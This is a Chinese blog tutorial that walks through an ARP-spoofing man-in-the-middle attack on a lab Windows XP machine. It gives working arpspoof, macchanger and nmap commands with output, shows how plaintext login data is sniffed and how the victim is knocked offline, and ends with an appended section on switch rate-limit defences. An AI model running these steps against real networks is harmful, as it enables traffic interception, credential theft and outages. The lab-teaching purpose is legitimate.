ARP欺骗攻击

攻击原理

原理

ARP欺骗攻击利用了 ARP协议的 缺陷 ,主要原理如下:

  1. 攻击者向 target(目标) 发送伪造的 ARP reply 响应包,声称自己是网关 (取决于你要监听的双方)
  2. 目标 接收到ARP响应后,会 更新本地 ARP缓存表
  3. 目标 的网络流量会被 重定向 到攻击者设备
  4. 攻击者可以 监听或篡改 流量,再 转发 给真正的 网关
  5. 攻击者还可以向 网关 发送伪造的ARP包,截获来自网关的流量
  6. 最终形成 中间人攻击 ,控制目标与网关之间的通信

攻击流程图

在这里插入图片描述

关键点

  • 利用ARP 无验证 机制
  • 伪造 ARP响应包
  • 篡改 目标ARP缓存
  • 双向流量劫持

这种攻击可以实现 流量监听、会话劫持 等多种攻击效果。

0x00 准备

安装工具

sudo apt install dsniff macchanger

隐藏自己真实MAC地址

随机MAC地址

使用 macchanger 工具,也可以使用VMware直接编辑网卡的真实MAC

sudo ifconfig eth0 down
sudo macchanger -r eth0  # 随机生成一个新的 MAC 地址
# sudo macchanger -m XX:XX:XX:XX:XX:XX eth0		# 也可以指定
sudo ifconfig eth0 up

恢复MAC地址

附上恢复用的代码:

sudo ifconfig eth0 down
sudo macchanger -p eth0
sudo ifconfig eth0 up

内网扫描

使用 arp-scan 工具快速 扫描内网存活主机

arp-scan -I eth0 -l

结果:

Interface: eth1, type: EN10MB, MAC: 1a:de:3b:f9:0a:f5, IPv4: 10.10.10.136		// 我们自己的 mac ip
Starting arp-scan 1.10.0 with 256 hosts
10.10.10.1      00:50:56:c0:00:08       VMware, Inc.	// 物理机
10.10.10.2      00:50:56:e5:c5:ad       VMware, Inc.	// VM网关
10.10.10.132    00:0c:29:81:73:56       VMware, Inc.	// WinXP(本次受害者)
10.10.10.254    00:50:56:e2:33:1f       VMware, Inc.	// VM DHCP

使用 nmap 系统识别

nmap -O -sS -T4 10.10.10.1/24

结果:

......
Nmap scan report for 10.10.10.132
Host is up (0.0016s latency).
Not shown: 997 closed tcp ports (reset)
PORT    STATE SERVICE
135/tcp open  msrpc
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
MAC Address: 00:0C:29:81:73:56 (VMware)
Device type: general purpose
Running: Microsoft Windows XP
OS CPE: cpe:/o:microsoft:windows_xp::sp3
OS details: Microsoft Windows XP SP3	// 目标确认
Network Distance: 1 hop
......

实验环境

10.10.10.136	00:0c:29:c5:f7:d9	// 攻击者 kali Linux
10.10.10.132    00:0c:29:81:73:60	// 受害者
10.10.10.2      00:50:56:e5:c5:ad	// 网关

0x02 欺骗攻击测试

使用 arpspoof 工具攻击

arpspoof 用法

// arpspoof [-i 接口] [-c own|host|both] [-t target] [-r] host

arpspoof -i eth1 -t 10.10.10.10.132 -r 10.10.10.2
-i	// 指定使用的接口(网卡)
-t	// 指定欺骗的目标
-r	// 双向欺骗

执行欺骗攻击

arpspoof -i eth1 -t 10.10.10.132 -r 10.10.10.2
// 攻击开始
1a:de:3b:f9:a:f5 0:c:29:81:73:56 0806 42: arp reply 10.10.10.2 is-at 1a:de:3b:f9:a:f5	// 欺骗网关(10.10.10.2)
1a:de:3b:f9:a:f5 0:50:56:e5:c5:ad 0806 42: arp reply 10.10.10.132 is-at 1a:de:3b:f9:a:f5	// 欺骗XP(10.10.10.132)
1a:de:3b:f9:a:f5 0:c:29:81:73:56 0806 42: arp reply 10.10.10.2 is-at 1a:de:3b:f9:a:f5
1a:de:3b:f9:a:f5 0:50:56:e5:c5:ad 0806 42: arp reply 10.10.10.132 is-at 1a:de:3b:f9:a:f5
1a:de:3b:f9:a:f5 0:c:29:81:73:56 0806 42: arp reply 10.10.10.2 is-at 1a:de:3b:f9:a:f5
1a:de:3b:f9:a:f5 0:50:56:e5:c5:ad 0806 42: arp reply 10.10.10.132 is-at 1a:de:3b:f9:a:f5
1a:de:3b:f9:a:f5 0:c:29:81:73:56 0806 42: arp reply 10.10.10.2 is-at 1a:de:3b:f9:a:f5
1a:de:3b:f9:a:f5 0:50:56:e5:c5:ad 0806 42: arp reply 10.10.10.132 is-at 1a:de:3b:f9:a:f5
1a:de:3b:f9:a:f5 0:c:29:81:73:56 0806 42: arp reply 10.10.10.2 is-at 1a:de:3b:f9:a:f5
1a:de:3b:f9:a:f5 0:50:56:e5:c5:ad 0806 42: arp reply 10.10.10.132 is-at 1a:de:3b:f9:a:f5
1a:de:3b:f9:a:f5 0:c:29:81:73:56 0806 42: arp reply 10.10.10.2 is-at 1a:de:3b:f9:a:f5
1a:de:3b:f9:a:f5 0:50:56:e5:c5:ad 0806 42: arp reply 10.10.10.132 is-at 1a:de:3b:f9:a:f5
1a:de:3b:f9:a:f5 0:c:29:81:73:56 0806 42: arp reply 10.10.10.2 is-at 1a:de:3b:f9:a:f5
1a:de:3b:f9:a:f5 0:50:56:e5:c5:ad 0806 42: arp reply 10.10.10.132 is-at 1a:de:3b:f9:a:f5
^CCleaning up and re-arping targets...			// 开始清理操作,恢复攻击的主机的 ARP 表
1a:de:3b:f9:a:f5 0:c:29:81:73:56 0806 42: arp reply 10.10.10.2 is-at 0:50:56:e5:c5:ad
1a:de:3b:f9:a:f5 0:50:56:e5:c5:ad 0806 42: arp reply 10.10.10.132 is-at 0:c:29:81:73:56
1a:de:3b:f9:a:f5 0:c:29:81:73:56 0806 42: arp reply 10.10.10.2 is-at 0:50:56:e5:c5:ad
1a:de:3b:f9:a:f5 0:50:56:e5:c5:ad 0806 42: arp reply 10.10.10.132 is-at 0:c:29:81:73:56
1a:de:3b:f9:a:f5 0:c:29:81:73:56 0806 42: arp reply 10.10.10.2 is-at 0:50:56:e5:c5:ad
1a:de:3b:f9:a:f5 0:50:56:e5:c5:ad 0806 42: arp reply 10.10.10.132 is-at 0:c:29:81:73:56
1a:de:3b:f9:a:f5 0:c:29:81:73:56 0806 42: arp reply 10.10.10.2 is-at 0:50:56:e5:c5:ad
1a:de:3b:f9:a:f5 0:50:56:e5:c5:ad 0806 42: arp reply 10.10.10.132 is-at 0:c:29:81:73:56
1a:de:3b:f9:a:f5 0:c:29:81:73:56 0806 42: arp reply 10.10.10.2 is-at 0:50:56:e5:c5:ad
1a:de:3b:f9:a:f5 0:50:56:e5:c5:ad 0806 42: arp reply 10.10.10.132 is-at 0:c:29:81:73:56

受害者 ARP 表变化

分别是攻击前、攻击时、攻击停止后 WinXP ARP表变化

在这里插入图片描述

受害者抓包分析

在这里插入图片描述
在这里插入图片描述

流量监听

攻击时,kali 以中间人身份 监听被攻击双方流量,需要内核开启 [IPv4转发功能](#0x04 IPv4转发功能)

例如 XP 使用 http 等未加密的链接访问网址

http://www.httpbin.org/get?username=admin&passwd=666777888

XP访问

在这里插入图片描述

Kali 监听

在这里插入图片描述

http 流跟踪
在这里插入图片描述

设备断网

攻击时,kali 以中间人身份 监听 但不转发双发流量,需要内核关闭IPv4转发功能

被攻击的 双方无法正常通信 ,可造成 断网现象

![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/ed4044fdb1144b72857e61d96433bdc8.

攻击停止后,设备 恢复正常

在这里插入图片描述

0x04 ARP表操作

清除 ARP 缓存表

// Kali 清除 ARP 缓存表
ip neighbor flush all

// XP 清除 ARP 缓存表
arp -d

查看arp缓存表

// kali Linux
arp -i eth0 -n

// Windows
arp -a

结果:

// kali Linux
Address					 HWtype  HWaddress           Flags Mask            Iface
10.10.10.136             ether   00:0c:29:81:73:60   C                     eth1
10.10.10.2               ether   00:50:56:e5:c5:ad   C                     eth1
10.10.10.254             ether   00:50:56:e2:33:1f   C                     eth1
10.10.10.1               ether   00:50:56:c0:00:08   C                     eth1

// Windows XP (没有缓存表是因为清除了,可以ping一下其他主机就会更新)
Interface: 10.10.10.132 --- 0x20002
  Internet Address      Physical Address      Type
  10.10.10.2            00-50-56-e5-c5-ad     dynamic

0x05 IPv4转发功能

当 Kali 充当中间人且 需要 转发双方流量 时,需要在 内核 开启 流量转发 IP ForWord 功能

查看 Kali IPv4转发功能 是否开启

cat /proc/sys/net/ipv4/ip_forward
1	// 1 表示转发
0	// 0 表示丢弃

开启IPv4转发

echo 1 | tee /proc/sys/net/ipv4/ip_forward

关闭IPv4转发

echo 0 | tee /proc/sys/net/ipv4/ip_forward
### 配置 Rate-Limit 功能以防止 ARP 欺骗攻击 为了有效应对 ARP 欺骗攻击,可以通过配置 `rate-limit` 功能来限制每秒接收的 ARP 报文数量。这种机制能够减少因恶意或异常 ARP 请求而导致的网络性能下降甚至瘫痪的风险。 --- #### 1. 原理概述 ARP 欺骗攻击通常涉及伪造大量的 ARP 报文,这些报文可能会占用过多的 CPU 资源或者破坏正常的通信流程。通过启用 `rate-limit` 功能,可以限定设备在特定时间内能处理的最大 ARP 报文数。一旦超过设定阈值,多余的数据包会被丢弃或记录以便进一步分析[^1]。 --- #### 2. 具体配置过程 以下是实现基于接口级别的 ARP 报文速率限制的一个通用示例: ```shell # 切换至系统视图 system-view # 进入目标物理接口(假设为GigabitEthernet 1/0/1) interface GigabitEthernet 1/0/1 # 启用针对ARP miss情况下的反攻击速率限制功能 arp-miss anti-attack rate-limit enable # 设定最大允许的ARP请求速率为80条/秒 (可根据实际情况调整) arp-miss anti-attack rate-limit threshold 80 # 对于超出限额的行为定义动作, 此处选择直接丢弃超额数据包 arp-miss anti-attack rate-limit action drop ``` 以上各指令含义分别为: - `arp-miss anti-attack rate-limit enable`: 打开对未命中缓存的ARP查询实施速度管控的功能; - `threshold 80`: 表明该端口每秒钟最多接受80个新的未知MAC地址对应的ARP询问; - `action drop`: 明确指出对于那些违反规定频率上限的新到来自同一源头的ARP请求应当立即舍弃而不做任何回应[^2]。 另外值得注意的是,在某些高端交换产品线里还存在一种叫做Block Mode的操作模式选项可供选用。在这种特殊情形之下,只要发现有任意单一时隙内的实际到达量突破预先声明好的界限值之后便会立刻启动全面封锁机制——即时切断整个链路上的一切形式的ARP通讯直到人为干预解除为止[^3]。 --- #### 3. 效果验证与优化建议 执行完毕上述操作后,管理员应该利用专门设计用于展示实时统计信息的相关命令去核实各项指标是否符合预期计划之内: ```shell display arp anti-attack configuration arpmiss-rate-limit ``` 此命令可以帮助确认目前所应用的各项参数详情及其运行状况。与此同时也要密切留意日常运维过程中是否存在误伤现象发生(比如正常业务往来也被错误判定成了潜在威胁),必要时候适当放宽标准或是引入更加精细粒度的区别对待逻辑来达成更好的平衡效果。 最后强调一点就是尽管单纯依靠调节速率阀值能够在一定程度上缓解压力但是绝不可能彻底根除隐患所在所以最好还是联合采用诸如动态主机配置协议绑定、静态映射维护等多种互补型防御手段一起构筑起全方位立体化的网络安全保障体系架构[^3]。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值